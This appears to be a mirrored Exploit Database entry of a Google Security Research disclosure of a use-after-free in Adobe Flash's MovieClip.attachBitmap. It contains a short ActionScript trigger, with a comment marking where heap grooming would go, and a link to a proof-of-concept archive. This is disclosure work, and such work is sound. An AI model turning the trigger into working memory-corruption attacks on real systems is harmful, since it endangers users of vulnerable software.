Adobe Flash MovieClip.attachBitmap – Use-After-Free

• Exploit Database
• 13 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39040/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=593
  
  There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.
  
  A minimal PoC follows:
  
  this.createEmptyMovieClip("mc", 1);
  var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
  mc.attachBitmap( b, {valueOf : func });
  
  function func(){
  	
  	mc.removeMovieClip();
  	
  // Fix heap here
  
  return 5;
  	
  	}
  	
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39040.zip